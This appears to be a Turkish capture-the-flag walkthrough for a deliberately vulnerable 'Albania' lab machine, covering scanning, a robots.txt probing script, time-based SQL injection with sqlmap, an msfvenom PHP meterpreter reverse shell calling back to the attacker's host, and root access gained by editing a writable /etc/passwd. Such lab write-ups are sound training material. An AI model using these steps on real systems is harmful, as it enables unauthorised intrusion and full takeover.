Albania sunucusunun ağ üzerindeki aldığı ip adresini bulmak için netdiscover ile tarama başlatıyoruz.

netdiscover -r 192.168.0.0/24 -i enp2s0

      Sunucunun ip adresi tespit edildikten sonra nmap ile servislere yönelik detaylı bir tarama gerçekleştirilmiştir. Burada 22 numaralı port üzerinde SSH ve 8008 numaralı port üzerinde HTTP-Apache servisleri çalışmaktadır.

nmap -A -T4 192.168.0.30

      Aynı zamanda bu tarama sonucunda uygulamaya ait robots.txt dosyasının varlığı da tespit edilmiştir. İçerisinde disallow edilmiş karışık isimli birçok dizin bulunmaktadır.

      Bu dizinlerin herbirine tek tek bakmak yerine otomatize çalışan basit bir script hazırladım. Bu script dizinleri alıp herbirine istek yapacak ve content-length dönüşü yapacak. Buradan farklı olan dizin tespit edilmeye çalışılacaktır.

1.	#!/bin/bash
2.
3.	GET http://192.168.0.30:8008/robots.txt | awk '{print $2}' > directories.txt
4.	while read p; do
5.	  echo "******************"
6.	  echo $p . " : " 
7.	  HEAD http://192.168.0.30:8008/$p | grep Content-Length
8.	  echo "******************"
9.	done <directories.txt

      Buradan aradığımız dizinin /unisxcudkqjydw/ olduğunu tespit ediyoruz. Bu hedefe gittiğimizde bize farklı bir dizin ile ilgili ipucu veriliyor.

      Bu kadar işlemin ardından artık ulaşmamız gereken sayfayı buluyoruz: http://192.168.0.30:8008/unisxcudkqjydw/vulnbank/client/login.php.

      Kullanıcı girişi gerektiren bu sayfa time based sql injection zafiyeti bulunduruyor. Bunu birçok denemenin ardından anlıyoruz. Sqlmap aracı ile aşağıdaki komutu çalıştırdığımızda işimize yarayacak olan payload’ı elde etmiş oluyoruz.

sqlmap -u "http://192.168.0.30:8008/unisxcudkqjydw/vulnbank/client/login.php" --data "username=ctrl*&password=ctrl" --random-agent --risk 3 --level 5 --technique T

      Sayfaya giriş yaptıktan sonra resim yükleyebildiğimiz bir anasayfa açılıyor. Bu sayfa üzerinde PHP reverse shell kodumuzu jpeg uzantısıyla upload ediyoruz. Herhangi bir sorun olmadan kodumuz yükleniyor ve bize meterpreter oturumunu getiriyor. PHP kodunu Msfvenom ile aşağıdaki gibi hazırlıyoruz.

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.35 LPORT=6666 -f raw > php-reverse-shell.php

      İçeriye www-data kullanıcısı olarak giriş yaptık. Kernel seviyesinde bir exploitation gerçekleştiremeyeceğimizi anladıktan sonra sistem içerisinde araştırma yapmaya başlıyoruz. Öncelikle sistem üzerinde bulunan suid bitli dosyaları araştırıyoruz.

python3 -c 'import pty; pty.spawn("/bin/sh")'
find / -perm -u=s>/dev/null

      Bu işlem sonucunda su binary dosyasının normal yetkili sistem kullanıcıları tarafından çalıştırılabildiğini görüyoruz. Bildiğimiz üzere sudo su(switch user) komutu ile parolası bilinen bir kullanıcı yetkili giriş yapıp root yetkilerini elde edebilir. Bu yüzden parolası bilinen bir kullanıcı bulmayı hedefliyoruz. Sistemde araştırma yapmaya devam ederken passwd dosyasını da yazma yetkimizin olduğunu görüyoruz. Buraya taviso için bir parola tanımlayabiliriz.Bu işlem için /etc/passwd içerik yapısını hatırlayalım.

username:password:1000:1000::/home/username:/bin/bash

      Buraya uygun olacak bir parola üretiyoruz. Devamında taviso için içerik yapısını oluşturalım. Sonrasında passwd dosyasını aşağıdaki gibi düzenliyoruz.

openssl passwd -1 
taviso:$1$yWRbfixX$VMYDiLLYrVHBjJ/lX5uc8/:1000:1000:Taviso,,,:/home/taviso:/bin/bash

su taviso

      komutu ile parola girdikten sonra taviso kullanıcısı olarak sisteme erişmiş bulunuyoruz. Su komutunu kullanabilme hakkımızdan dolayı artık hedef kullanıcının yani root kullanıcısının parolasını bilmesekte geçiş yapabiliyoruz. Bu sayede root haklarını elde etmiş olduk.